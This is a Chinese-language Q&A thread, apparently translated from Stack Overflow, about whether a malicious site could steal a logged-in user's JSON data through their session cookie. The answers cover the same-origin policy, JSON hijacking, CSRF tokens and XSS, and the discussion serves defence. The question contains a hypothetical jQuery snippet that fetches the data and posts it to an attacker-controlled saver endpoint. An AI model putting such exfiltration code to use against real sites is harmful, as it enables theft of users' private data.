0

我们有一个 JSON Web 服务,我们的一个网页使用它来显示“实时”数据。要访问该页面,用户必须登录。我们担心恶意网站(竞争对手)获取这些数据的能力。但是,我不确定我们预期的问题是否合理。

一旦用户登录,我们会在他们的机器上存储一个“记住我”cookie。如果有人要建立一个向我们的 Web 服务发出 AJAX 请求并说服登录用户访问该站点的站点,他们是否能够从我们的服务中检索和存储信息?如果是这样,我们如何保护自己免受此类事情的侵害?

例如:

恶意网站是否可以构建这样的脚本来获取我们的数据:

$.post('their.secret.json', function(response) {
     $.post('our.malicious.response.saver', {save: response}, function(ourResponse) {
           alert('we saved your stuff!');
     }
});

由于他们正在访问我们的 JSON 提要,它不会将 cookie 发送到我们的站点并且用户将通过身份验证。既然他们会被认证,它不会发回敏感数据吗?

4

2 回答 2

1

缺少一些尚未修补的浏览器漏洞,您似乎担心的事情无法完成。

另一个域上的脚本将无法向您的域发出 AJAX 请求。它也不能从您的域中加载页面并“窃取”该信息。

就 CSRF 而言,您需要关注的是通过 GET 请求进行的破坏性操作,这当然根本不需要任何脚本。当然,所有这一切都假设您的站点不易受到跨站点脚本的攻击(这可能允许某人通过其他人的登录名“窃取”数据)。

不过,我认为您更有可能在“合法”用户那里“挖掘”您的数据时遇到问题。不过,这更像是业务级别的事情……除了确保正确的日志记录以识别此类情况。

于 2011-04-12T14:11:55.163 回答
0

如果您担心攻击者能够使用合法用户的会话来检索 JSON 对象,那么您就是在谈论 JSON 劫持。这取决于您的 JSON 文件的结构方式,如果这种攻击是可能的。查看术语“JSON 劫持”以获取更多信息,或者随时发表评论,提供有关您的应用程序有关 JSON 对象的更多详细信息。如果您发现自己容易受到攻击,添加 CSRF-Token 将有助于关闭任何 JSON 劫持攻击。

您还必须确保您的 Web 应用程序中没有单个跨站点脚本 (XSS) 漏洞。如果攻击者可以使用 XSS,那么他很容易通过控制有效用户的浏览器来获取数据。在这种情况下,CSRF-Tokens 是没有用的。

于 2011-04-12T14:04:02.310 回答